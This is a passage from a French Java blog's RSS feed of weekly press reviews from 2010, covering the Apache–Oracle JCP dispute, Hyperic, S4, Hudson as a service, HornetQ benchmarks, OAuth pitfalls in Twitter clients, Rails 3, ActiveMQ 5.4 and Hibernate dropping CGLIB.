title="un billet" href="https://blogs.apache.org/foundation/entry/statement_by_the_asf_board1">un billet</a> qui a fait beaucoup de bruit. Dans celui-ci, elle reproche à Oracle de ne pas respecter les termes du JSPA (pour <em>Java Specification Participation Agreement</em>) et qui, d&#8217;après  la Fondation, l&#8217;autorisent à obtenir un <em>TCK</em> (Test Compatibility Kit) lui permettant de redistribuer <em>Harmony</em>, son JDK, sous la licence Apache. Le problème, qui reste un problème de brevet et de propriété intellectuelle, est ouvert depuis un moment: en 2007 déjà, Apache avait écrit <a
title="une lettre ouverte à Sun" href="http://www.apache.org/jcp/sunopenletter.html">une lettre ouverte à Sun</a>. Les choses n&#8217;ont que peu changé depuis. Sauf qu&#8217;aujourd&#8217;hui, la Fondation menace carrément de quitter le processus du <em>JCP</em> ! <a
title="Comme lanalyse InfoQ" href="http://www.infoq.com/news/2010/11/apache-jcp">Comme l&#8217;analyse InfoQ</a>, c&#8217;est peut-être la seule arme qui reste à la Fondation Apache. Mais serait-ce vraiment une bonne chose ?<br
/> Pour mieux comprendre les termes et enjeux de l&#8217;imbroglio dans lequel se sont empêtrées les parties, un excellent document reste <a
title="la FAQ" href="http://www.apache.org/jcp/sunopenletterfaq.html">la FAQ</a> publiée à l&#8217;époque par Apache pour expliciter sa lettre ouverte à Sun. Oracle vient d&#8217;ailleurs de publier <a
title="sa rponse" href="http://blogs.oracle.com/henrik/2010/11/moving_java_forward_open_response_from_oracle_to_apache.html">sa réponse</a> et&#8230; le moins que l&#8217;on puisse dire, c&#8217;est que la situation semble dans une impasse, chacun restant campé sur ses positions.</p><p>Par ailleurs, il faut aussi replacer les choses dans leur contexte actuel:</p><ul><li>IBM, le plus gros contributeur à <em>Harmony</em>, le JDK d&#8217;Apache, a <a
title="rcemment indiqu" href="http://blog.xebia.fr/2010/10/12/revue-de-presse-xebia-180/#IBMrejointleprojetOpenJDK">récemment indiqué</a> se rapprocher d&#8217;Oracle à travers <em>OpenJDK</em>. Ainsi, il se détache d&#8217;Apache qui se retrouve donc isolé.</li><li>Oracle a par ailleurs attaqué Google sur son implémentation d&#8217;Android, basée en grande partie sur ce même <em>Harmony</em>.</li><li>enfin, le récent regain d&#8217;intérêt envers <em><a
title="Java SE for embedded devices" href="http://www.oracle.com/technetwork/java/embedded/overview/index.html">Java SE for embedded devices</a></em> n&#8217;est peut-être pas étranger à tous ces problèmes. Même si le produit <a
href="http://twitter.com/alexismp/status/4201571055312896">&laquo;&nbsp;date d&#8217;avant Android&nbsp;&raquo;</a>, Oracle semble vouloir le renforcer. Et la première étape, comme <a
title="annoncé" href="http://armdevices.net/2010/11/13/java-embedded-se-6u21-synchronized-with-java-se/">annoncé</a> lors de l&#8217;<a
title="ARM Conference" href="http://vault.eetimes.com/armconference/">ARM Conference</a> consiste à faire correspondre les numéros de versions et implémentations des versions Java SE <em>classic</em> et <em>embedded</em>. Cette version est-elle appelée à se retrouver rapidement dans les téléphones portables à grande échelle maintenant que Java ME semble dépassé ? Oracle pourrait le souhaiter, car elle n&#8217;est pas gratuite !</li></ul><h3><a
name="SOA"></a>SOA</h3><h4><a
name="LaSOArenaitdesescendres"></a>La SOA renait de ses cendres</h4><p>C&#8217;est ce qu&#8217;affirme le Burton group après avoir fais le buzz il y a deux ans avec son acticle <a
title="SOA is Dead" href="http://apsblog.burtongroup.com/2009/01/soa-is-dead-long-live-services.html">SOA is Dead</a>.<br
/> En effet, le rapport du cabinet note une remontée d&#8217;intérêt concernant les projets SOA, boostée par l&#8217;émergence du cloud computing.<br
/> Il place d&#8217;ailleurs la SOA comme prérequis pour réussir ses projets dans le cloud.<br
/> Il est aussi précisé que l&#8217;échec de la SOA il y a deux ans, a été largement provoqué d&#8217;une part, par la crise économique, et d&#8217;autre part, par les différentes solutions et technologies poussées par les éditeurs.<br
/> Ainsi, il faudrait se focaliser plus sur les principes fondamentaux de la SOA pour garantir la réussite de son architecture du SI ou de ses projets de migration vers le cloud. Pour en savoir plus, les articles <a
title="de ZDNet" href="http://www.zdnet.com/blog/service-oriented/soa-rising-from-the-ashes-even-burton-group-says-so/6123?tag=mantle_skin;content">de ZDNet</a> ou <a
title="de EbizQ" href="http://www.ebizq.net/blogs/cloudsoa/2010/11/the-soa-is-dead-thing-returns.php">de EbizQ</a> sont de bons points de départ.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="SortiedHyperic"></a>Sortie d&#8217;Hyperic 4.5</h4><p>Hyperic, la solution de monitoring et de management de SpringSource/VmWare est récement sortie en version 4.5. On peut voir l&#8217;annonce sur le <a
title="blog de SpringSource" href="http://blog.springsource.com/2010/11/10/hyperic-4-5-released/">blog de SpringSource</a> ou celui d&#8217;<a
title="Hyperic" href="http://blog.hyperic.com/substantial-infrastructure-upgrade-in-hyperic-4-5-release/">Hyperic</a>.</p><p>Cette nouvelle version apporte quelques nouveautés telles que le support des produits GemFire (un système de cache distribué), RabbitMQ (un système de messaging) et tc Server (un serveur Tomcat modifié). On peut voir que les efforts ont été portés vers les produits de <a
title="SpringSource vFabric" href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#LancementdevFabricauVMworldSpr">SpringSource vFabric</a> dont Hyperic fait partie.</p><p>La grosse nouveauté de cette version 4.5 réside dans ses fondations, avec des changements importants :</p><ul><li>l&#8217;utilisation du Framework Spring 3 à la place des EJB,</li><li>le déploiement d&#8217;Hyperic se fait maintenant sur un serveur Tomcat et non plus sur JBoss,</li><li>l&#8217;utilisation de Maven à la place de Ant,</li><li>le changement du SCM qui passe de Subversion à Git.</li></ul><p>Ces changements ont quelques conséquences plutôt bénéfiques pour le projet. En effet, le passage au framework Spring a permis de réduire la taille du code ainsi que sa complexité. De plus le passage de JBoss à Tomcat permet un gain sensible sur le temps de déploiement, faisant par la même gagner un temps précieux aux développeurs d&#8217;Hyperic.</p><p>Ces différentes améliorations devraient permettre de faciliter l&#8217;apparition de nouveautés dans les futures versions ainsi qu&#8217;une plus grande stabilité.</p><h4><a
name="SlenouveaujouetdeYahoo"></a>S4, le nouveau jouet de Yahoo!</h4><p>Cette semaine, on risque de beaucoup parler de Hadoop, en particulier grâce à Devoxx. Yahoo!, qui a fortement contribué à ce framework de Map/Reduce via la fondation Apache, prépare déjà sa succession : <a
title="S4" href="http://s4.io/">S4</a>. Là où Hadoop est plutôt orienté batch, S4 a pour but d&#8217;amener au Map/Reduce une dimension temps réel, en travaillant directement sur des flux continus de données.<br
/> Yahoo! utilise d&#8217;ores et déjà S4 en production pour analyser et cibler les informations publicitaires affichées aux internautes.<br
/> Le projet vient d&#8217;être cédé à la communauté openSource, sous licence Apache 2.0.<br
/> C&#8217;est le début d&#8217;une aventure qui s&#8217;annonce longue et semée d&#8217;embuche (comme le savent déjà ceux qui, comme nous, ont essayé de faire du pseudo temps-réel avec la stack Hadoop), mais d&#8217;ores et déjà palpitante.<br
/> S4 est écrit en Java, actuellement disponible en version alpha, et cherche des contributeurs !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/</link> <comments>http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#comments</comments> <pubDate>Tue, 07 Sep 2010 10:00:33 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[cloud]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[HornetQ]]></category> <category><![CDATA[Hudson]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[JRuby]]></category> <category><![CDATA[JUG]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[OAuth]]></category> <category><![CDATA[RoR]]></category> <category><![CDATA[Saas]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Twitter]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5326</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Cloudbees propose Hudson en Software as a Service JBoss met en avant les performances de HornetQ SOA Lancement de vFabric au VMworld 2010 : Spring in the cloud Le coin de la technique GWT 2.1 sera Maven compliant OAuth : [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#CloudbeesproposeHudsonenSoftwa">Cloudbees propose Hudson en Software as a Service</a></li><li><a
href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#JBossmetenavantlesperformances">JBoss met en avant les performances de HornetQ</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#LancementdevFabricauVMworldSpr">Lancement de vFabric au VMworld 2010 : Spring in the cloud</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#GWTseraMavencompliant">GWT 2.1 sera Maven compliant</a></li><li><a
href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#OAuthpasleprotocoledauthentifi">OAuth : pas le protocole d&#8217;authentification ultime ?</a></li><li><a
href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#RubyonRailsestsortiduboisJRuby">Ruby on Rails 3 est sorti du bois, JRuby l&#8217;attendait au bar</a></li></ul><p><strong>Evènements  de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#JugSummerCampLaRochelle">Jug Summer Camp 2010 &#8211; La Rochelle</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="CloudbeesproposeHudsonenSoftwa"></a>Cloudbees propose Hudson en Software as a Service</h4><p>Le Software as a Service fait beaucoup de bruit, mais peu d&#8217;initiatives tangibles émergent. C&#8217;est peut être à cause de la complexité de nos logiciels, ou bien à cause du manque de maitrise qui en résulte, que nous hésitons à les déporter sur un environnement de type cloud. Alors, pourquoi ne pas commencer petit, avec un logiciel que nous maitrisons parfaitement ? Plutôt que d&#8217;arriver chez vos clients et de systématiquement reconstruire une plateforme d&#8217;intégration continue, Cloudbees propose Hudson &laquo;&nbsp;à la demande&nbsp;&raquo; (_HaaS_ Hudson as a Service). Avec un dimensionnement automatique du nombre d&#8217;agents nécessaires pour effectuer l&#8217;ensemble des taches de votre build, Cloubees offre une réelle parallélisation des traitements, et donc des builds plus rapides. Ant, Maven et le Jdk sont disponibles dans une grande variété de versions. Et, petit plus appréciable, Cloudbees propose &laquo;&nbsp;gratuitement&nbsp;&raquo; des repositories GIT, SVN et un dépôt Maven privés.<br
/> La facturation se décompose en deux parties :</p><ul><li>un partie fixe, de 25$ à 35$ par mois, en fonction du nombre de user (5 ou 10).</li><li>une partie variable, par agent et par minute d&#8217;utilisation (0,6$ par heure et par agent).</li></ul><p>Reste à sortir les calculatrices, pour savoir si dans votre cas mieux vaut mobiliser un master et plusieurs slaves Hudson dans votre propre infrastructure, ou bien si le tarif agressif de ce nouveau mode d&#8217;intégration continue vous décidera à déposer vos sources sur le <em>cloud</em>.  Pour tester ce nouveau service, <a
title="Cloudbess propose une version dvaluation de 7 jours" href="http://cloudbees.com/dev-pricing.cb">Cloudbess propose une version d&#8217;évaluation de 7 jours</a>, incluant 7 heures de build.</p><h4><a
name="JBossmetenavantlesperformances"></a>JBoss met en avant les performances de HornetQ</h4><p>Un peu plus d&#8217;un an après la <a
title="sortie officielle" href="http://blog.xebia.fr/2009/08/31/revue-de-presse-xebia-124/#JBossHornetQ">sortie officielle</a> d&#8217;HornetQ, sur les fondations de JBoss Messaging, RedHat tente de prouver sa maturité et son avance sur d&#8217;autres produits du marché. Un <a
title="benchmark" href="https://community.jboss.org/servlet/JiveServlet/download/15777-7-16513/JMS_Market_Throughput_Comparison.pdf">benchmark</a>, proposé par eux-mêmes, compare les produits suivants:</p><ul><li>HornetQ 2.1.1 final</li><li>ActiveMQ 5.3.2 GA</li><li>SwiftMQ 7.6</li><li>OpenMQ 4.4</li><li>d&#8217;autres produits mais anonymes</li></ul><p>Les scénarios choisis suivent ces critères:</p><ul><li>le nombre d&#8217;acteurs: d&#8217;un producteur et un consommateur  (1/1) jusqu&#8217;à un scénario avec 40 acteurs de chaque côté.</li><li>la taille des messages allant de 12 bytes à 1k byte.</li><li>de type publish/subscribe ou point-à-point</li><li>la persistance ou non des messages</li><li>la persistance transactionnelle ou non</li></ul><p>Sans trop de surprises, HornetQ s&#8217;en sort très bien au niveau des résultats, ActiveMQ trainant beaucoup la patte, même face à d&#8217;autre concurrents. Bien que forcément partial, on peut cependant dégager quelques remarques intéressantes sur les points forts de HornetQ:</p><ul><li>le MoM devance de loin ses concurrents sur le transfert de petits messages non persistés</li><li>la différence est moins grande pour le transfert de messages non persistés plus gros (1k), et se fait parfois même dépasser</li><li>la différence est à nouveau grande dans les scénarios de persistance</li></ul><p>HornetQ est capable d&#8217;utiliser un mode asynchrone pour l&#8217;écriture des fichiers à condition d&#8217;être sur une distribution particulière de linux. Cette option n&#8217;est pas spécifiée dans le benchmark et donc ne doit pas être utilisée, mais une précision serait la bienvenue, histoire d&#8217;être sûr.</p><p>Les benchmarks de ce type sont souvent sujet à polémiques et celui-ci <a
title="en fait partie" href="http://www.theserverside.com/discussions/thread.tss?thread_id=60827">en fait partie</a>. Les scénarios sont souvent trop simples, chaque éditeur a ses options très spécifiques à tel cas d&#8217;utilisation. Néanmoins on peut lire entre les lignes les points forts et les points faibles et ensuite à chacun de se faire une opinion.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="LancementdevFabricauVMworldSpr"></a>Lancement de vFabric au VMworld 2010 : Spring in the cloud</h4><p>La semaine dernière, VMWare était au coeur de l&#8217;actualité avec l&#8217;évènement <a
title="VMworld" href="http://www.vmworld.com/index.jspa">VMworld</a> qui a été le théâtre de plusieurs <a
title="annonces" href="http://www.vmware.com/next-decade/">annonces</a> dont celle de <a
title="VFabric" href="http://www.springsource.com/products/cloud-application-platform">VFabric</a>.<br
/> VMWare souhaite pousser les applications dans le Cloud et il a rassemblé sous le nom VFabric, les différents éléments de sa plateforme pour le développement et l&#8217;exploitation d&#8217;applications cloudifiées.<br
/> L&#8217;annonce est relayée sur le <a
title="blog" href="http://blog.springsource.com/2010/08/31/cloud-platform/">blog</a> de Rod Johnson qui nous donne sa vision de cette nouvelle plateforme. SpringSource qui s&#8217;est fait connaitre grâce au framework Spring dispose maintenant d&#8217;un portefeuille de technologies conséquent :</p><ul><li>son serveur d&#8217;application <a
title="tcServer" href="http://www.springsource.com/products/tcserver">tcServer</a> (reposant sur Tomcat),</li><li>le datagrid <a
title="GemFire" href="http://www.springsource.com/products/data-management">GemFire</a>,</li><li>le serveur web et le load balancer de la solution <a
title="Enterprise Ready Server" href="http://www.springsource.com/products/apache-web-server">Enterprise Ready Server</a> (basé sur le serveur web Apache),</li><li>la solution de monitoring <a
title="Hyperic" href="http://www.springsource.com/products/systems-management">Hyperic</a>,</li><li>le système de messaging <a
title="RabbitMQ" href="http://www.springsource.com/products/messaging">RabbitMQ</a>.</li></ul><p>Ces différentes technologies sont associées aux solutions de virtualisation de VMWare pour former leur boîte à outils du cloud computing VFabric.</p><p>VMWare et SpringSource continuent donc sur la route initiée il y a un peu plus d&#8217;un an par le rachat de SpringSource par VMware (dont nous vous parlions <a
title="ici" href="http://blog.xebia.fr/2009/08/17/pourquoi-vmware-springsource-virtualisation-materielle-vs-cloud/">ici</a>) et le rachat de CloudFoundry (<a
title="ici" href="http://blog.xebia.fr/2009/08/19/java-platform-as-a-service-springsource-accelere/">ici</a> pour plus d&#8217;informations) avec pour but que le cloud soit l&#8217;infrastructure d&#8217;exécution des applications informatiques de demain.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="GWTseraMavencompliant"></a>GWT 2.1 sera Maven compliant</h4><p>Google depuis quelques mois fait de gros efforts pour rendre leurs GWT et AppEngine plus <em>Maven-friendly</em>. L&#8217;arborescence assez spécifique de ces projets obligeait jusqu&#8217;à maintenant de se contenter de solutions intermédiaires. Nicolas De Loof nous <a
title="annonce" href="http://blog.loof.fr/2010/09/gwt-21-will-be-maven-compliant.html">annonce</a> sur son blog l&#8217;arrivée d&#8217;une nouvelle version compatible entièrement avec la future version 2.1 de GWT. Par exemple une option <code>-maven</code> du script <code>webAppCreator</code> permettra de construire le fichier selon les conventions Maven.</p><p>Une des plus grosses difficultés provient des changements parfois assez importants d&#8217;une version à une autre de GWT. Or le plugin actuellement est maintenu de sorte qu&#8217;il soit compatible avec toutes les anciennes SDK. Nicolas De Loof propose à présent que chaque nouvelle version du plugin soit callée sur celle de GWT. Si vous êtes d&#8217;accord avec ce principe vous pouvez voter <a
title="ici" href="http://markmail.org/search/?q=list:org.codehaus.mojo.dev#query:list%3Aorg.codehaus.mojo.dev+page:1+mid:vdxubybus3tfii6e+state:results">ici</a>.</p><h4><a
name="OAuthpasleprotocoledauthentifi"></a>OAuth : pas le protocole d&#8217;authentification ultime ?</h4><p>En 2007, suite à des réflexions sur le moyen de déléguer à des API l&#8217;accès à des ressources privées, les créateurs du site Ma.gnolia finirent par inventer <a
title="OAuth" href="http://en.wikipedia.org/wiki/OAuth">OAuth</a>, un protocole ouvert destiné à remplir cette fonction. Beaucoup ont alors cru voir arriver le protocole d&#8217;authentification ultime. Mais si la sécurité informatique était simple, cela se saurait !</p><p>Jusqu&#8217;à il y a peu, les applications clientes de Twitter se connectaient à celui-ci en demandant simplement leur mot de passe et login aux utilisateurs. Mais cela représentait un risque: rien ne dit qu&#8217;une application à laquelle on donne ses codes d&#8217;accès ne va pas les transmettre à quelqu&#8217;un de mal intentionné qui pourrait en faire mauvais usage ou tenter de réutiliser votre mot de passe sur d&#8217;autres sites (au cas ou vous feriez partie des nombreuses personnes qui réutilisent le même mot de passe pour de nombreux services, ce qui n&#8217;est bien sûr pas votre cas <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ). Mais récemment, Twitter a fermé son accès <em>basic auth</em> et oblige les applications à utiliser le protocole OAuth. Et comme le raconte <a
title="Ryan Paul" href="http://arstechnica.com/author/ryan-paul/">Ryan Paul</a>, le développeur du client de microblogging Gwibber <a
title="sur Ars Technica" href="http://arstechnica.com/security/guides/2010/09/twitter-a-case-study-on-how-to-do-oauth-wrong.ars">sur Ars Technica</a> cela ne va pas sans poser problème.  Par exemple pour les applications <em>standalone</em>, les clefs requises par le protocole doivent se trouver dans le programme. Or toute donnée informatique, même bien obfusquée, peut se retrouver (avec un peu de travail ou parfois même un simple éditeur héxa !). Ainsi les clefs qui sont sensées garantir l&#8217;identité de l&#8217;application appelante ne garantissent plus rien. Ryan Paul a lui même facilement fait passer auprès de Twitter sa propre application pour le client Twitter officiel. Lorsque l&#8217;on sait que Twitter menace de désactiver certaines applications en cas d&#8217;abus ou si leur clefs sont compromises, on peut logiquement s&#8217;attendre à voir arriver des attaques visant à désactiver les applications des concurrents.</p><p>Un autre cas problématique est la position des nombreux clients Twitter Open-Source. Comment garder ses clefs secrètes tout en publiant son code source ?! Epineux problème !</p><p>Bref, il semble que la question, loin d&#8217;être simple, ne soit pas prête d&#8217;être réglée. C&#8217;est pour cela qu&#8217;elle mérite que l&#8217;on s&#8217;y intéresse de prés, au travers <a
title="du long article" href="http://arstechnica.com/security/guides/2010/09/twitter-a-case-study-on-how-to-do-oauth-wrong.ars">du long article</a> de Ryan Paul qui passe en revue les différents problèmes, dont certains spécifiques à l&#8217;implémentation OAuth de Twitter. Et dans l&#8217;état actuel des choses, cette dernière semble plus destiné à permettre les interactions de serveur (client) à serveur (Twitter) plûtot que d&#8217;application <em>standalone</em> à serveur (Twitter).</p><h4><a
name="RubyonRailsestsortiduboisJRuby"></a>Ruby on Rails 3 est sorti du bois, JRuby l&#8217;attendait au bar</h4><p>Avis au amateurs de Ruby et de JRuby ! Le célèbre framework web le plus productif au monde est sorti dans sa version 3.0. La communauté Ruby vibre déjà et les observateurs externes se demandent si le buzz va devenir aussi gros que lors de la sortie de la 1.0 en 2006. Parmi les nouveautés, on peut citer :</p><ul><li>intégration d&#8217;un nouveau moteur de génération de requêtes SQL : <a
title="ARel" href="http://github.com/brynary/arel">ARel</a>.</li><li>refonte du moteur de routing url -&gt; contrôleur pour une approche plus REST.</li><li>refonte des entrailles pour passer d&#8217;un code monolithique à du tout modulaire.</li><li>nouvelle API de plugins</li></ul><p>Le point important pour nous autre du monde Java, c&#8217;est que l&#8217;équipe JRuby a travaillé, en parallèle de Rails, à intégrer toutes les nouveautés. JRuby 1.5 supporte Rails 3 depuis sa version bêta de février, mais pour l&#8217;instant il n&#8217;y a que peu de retours JRuby + Rails 3.0, donc si le coeur vous en dit, testez et remontez du feedback.</p><ul><li><a
title="Lannonce officielle" href="http://weblog.rubyonrails.org/2010/8/29/rails-3-0-it-s-done">L&#8217;annonce officielle</a></li></ul><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements  de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="JugSummerCampLaRochelle"></a>Jug Summer Camp 2010 &#8211; La Rochelle</h4><p>Le 10 Septembre aura lieu à la Rochelle le Jug Summer Camp. Il s&#8217;agit de la conférence Java de la rentrée qui s&#8217;étale sur toute la journée du vendredi.<br
/> Le <a
title="programme" href="http://sites.google.com/site/jugsummercamp/programmation">programme</a> est bien fourni, et les sujets tourneront principalement autour de Java EE 6 (avec GlassFish, JPA 2, JSF 2 &#8230;) et n&#8217;oublions pas Maven 3 avec Nicolas De Loof et Spring 3 avec Julien Dubois. Le planning est disponible <a
title="ici" href="http://sites.google.com/site/jugsummercamp/planning">ici</a> et les inscriptions sont maintenant closes. Vous n&#8217;avez pas pu vous inscrire mais vous voulez quand même savoir ce qui s&#8217;est passé ? Alors pensez au blog des <a
title="Duchess France" href="http://jduchess.org/duchess-france/">Duchess France</a> qui seront présentes durant cette journée et couvriront l&#8217;évènement. Merci à Orianne Tisseuil et Jérôme Petit, JUG Leader du Poitou Charentes JUG, pour l&#8217;organisation de cet évènement.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/</link> <comments>http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#comments</comments> <pubDate>Tue, 24 Aug 2010 05:29:57 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[ActiveMQ]]></category> <category><![CDATA[CGLIB]]></category> <category><![CDATA[Hibernate]]></category> <category><![CDATA[Oracle]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[WebSocket]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5244</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII James Gosling sur l&#8217;affaire Oracle vs Google ActiveMQ 5.4.0 Le coin de la technique Hibernate ne supporte plus CGLIB Actualité éditeurs / SSII James Gosling sur l&#8217;affaire Oracle vs Google James Gosling revient sur l&#8217;épisode Oracle vs Google avec un [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#JamesGoslingsurlaffaireOraclev">James Gosling sur l&#8217;affaire Oracle vs Google</a></li><li><a
href="http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#ActiveMQ">ActiveMQ 5.4.0</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/#HibernatenesupporteplusCGLIB">Hibernate ne supporte plus CGLIB</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="JamesGoslingsurlaffaireOraclev"></a>James Gosling sur l&#8217;affaire Oracle vs Google</h4><p>James Gosling revient sur l&#8217;épisode <a
href="http://blog.xebia.fr/2010/08/17/revue-de-presse-xebia-172/" title="Oracle vs Google" >Oracle vs Google</a> avec un <a
href="http://nighthacks.org/roller/jag/entry/quite_the_firestorm" title="article" >article</a> dans lequel il nous donne quelques éléments pour mieux comprendre la politique de Sun vis à vis de Java et des brevets :</p><ul><li>Sun a principalement déposé des brevets afin de se protéger d&#8217;éventuelles attaques venant de ses concurrents. Un épisode malheureux dans lequel Sun fut attaqué par IBM concernant un brevet sur les processeurs RISC leur fit prendre conscience qu&#8217;il était nécessaire de posséder un arsenal de brevets. Le procès se termina en effet en leur défaveur et ils durent payer d&#8217;importantes indemnités à IBM, les mettant au bord du dépôt de bilan.</li><li>Les brevets sur la technologie Java et le choix de la license CDDL avaient pour but de garantir l&#8217;interopérabilité des applications java sur les différentes plateformes. Cette protection a donné lieu à un procès entre Sun et Microsoft car ce dernier avait fournit une implémentation d&#8217;un machine virtuelle Java sur laquelle le code ne s&#8217;exécutait pas de la même manière que sur les autres JVM (dont celle de Sun) qui respectaient les spécifications. La machine virtuelle java de Google présentant elle aussi des problèmes d&#8217;interopérabilité, Oracle se sert de cette jurisprudence pour les poursuivre.</li><li>Sun aurait souhaité obtenir une partie des bénéfices générés par la plateforme Android mais sans succès. Il semble donc qu&#8217;Oracle souhaite continuer dans cette voie mais en choisissant de sortir l&#8217;artillerie lourde pour parvenir à ses fins.</li></ul><p>Cette affaire a un effet néfaste sur l&#8217;image de Java et James Gosling, loin de cautionner l&#8217;action d&#8217;Oracle, regrette l&#8217;absence de moralité des grandes compagnies informatiques actuelles.</p><h4><a
name="ActiveMQ"></a>ActiveMQ 5.4.0</h4><p>Un peu moins d&#8217;un an après la <a
href="http://blog.xebia.fr/2009/10/19/revue-de-presse-xebia-130/#UnnouveaumoteurdestockagepourA" title="dernière release" >dernière release</a>, Apache sort une nouvelle version de son <em>broker</em> de message. Au-delà des <a
href="https://issues.apache.org/activemq/secure/IssueNavigator.jspa?reset=true&#038;pid=10520&#038;fixfor=12110&#038;sorter/field=priority&#038;sorter/order=DESC" title="283" >283</a> bugs résolus, on notera quelques nouvelles fonctionnalités intéressantes:</p><ul><li>Priorité des messages: Jusqu&#8217;à maintenant pour jouer sur la priorité de certains messages sur d&#8217;autres il fallait contourner le problème en utilisant plusieurs queues de messages qui pouvaient être, elles, <em>priorisées</em>. Le point de blocage jusqu&#8217;à maintenant était lié à l&#8217;ordonnancement des messages, trop gourmand en temps. Ce problème semble être en partie réglé et le paramètre priorité du message JMS (inclus dans l&#8217;API) sera pris en compte.</li><li><a
href="http://activemq.apache.org/delay-and-schedule-message-delivery.html" title="Planifier ses messages" >Planifier ses messages</a>: ActiveMQ possède à présent un planificateur persistant de message. En d&#8217;autres termes, il est possible à l&#8217;envoi du message de préciser la date réelle de l&#8217;envoi et la durée entre la répétition d&#8217;un envoi. L&#8217;interface permet même de préciser tout cela sous la forme d&#8217;une entrée CRON. Ceci peut être assez intéressant pour par exemple faire du <em>heartbeat</em> (envoi d&#8217;un message à intervalle régulier pour s&#8217;assurer du fonctionnement de l&#8217;application ou faire des calculs de performance).</li><li><a
href="http://activemq.apache.org/websockets.html" title="WebSocket" >WebSocket</a>: Le sujet est à la mode, surtout avec l&#8217;émergence d&#8217;HTML 5, <a
href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#HornetQ" title="HornetQ" >HornetQ</a> le propose également sur sa dernière version. Il s&#8217;agit d&#8217;utiliser le <em>broker</em> de messages depuis du code javascript. Tout comme HornetQ, ActiveMQ utilise son protocole de message simplifié STOMP. Deux librairies javascripts sont proposées sur leur site: <a
href="http://github.com/krukow/stomple" title="Stomple" >Stomple</a> et <a
href="http://github.com/jmesnil/stomp-websocket" title="stompwebsocket" >stomp-websocket</a>.</li></ul><p>Hormis ces nouveautés, des améliorations ont été apportées sur <a
href="http://activemq.apache.org/osgi-integration.html" title="OSGI" >OSGI</a> et le shell <a
href="http://activemq.apache.org/unix-shell-script.html" title="unix" >unix</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="HibernatenesupporteplusCGLIB"></a>Hibernate ne supporte plus CGLIB</h4><p>Historiquement <a
href="http://cglib.sourceforge.net/" title="CGLIB" >CGLIB</a> a rendu de nombreux services à Hibernate et Spring pour permettre de manipuler le bytecode Java. Par exemple, vous avez sans doute déjà vu passer un proxy préfixé par CGLIB lorsque vous débuggez votre application. Mais récemment, Steve Ebersole, développeur chez Hibernate, <a
href="http://in.relation.to/Bloggers/DeprecatedCGLIBSupport" title="a annoncé" >a annoncé</a> qu&#8217;il n&#8217;y aurait plus de support pour cette librairie. Cette décision aurait été prise non pas pour des raisons purement techniques mais parce que cette librairie n&#8217;aurait plus de support et semble figée à la version 2.2 qui date de 2008. L&#8217;auteur donne pour exemple un <a
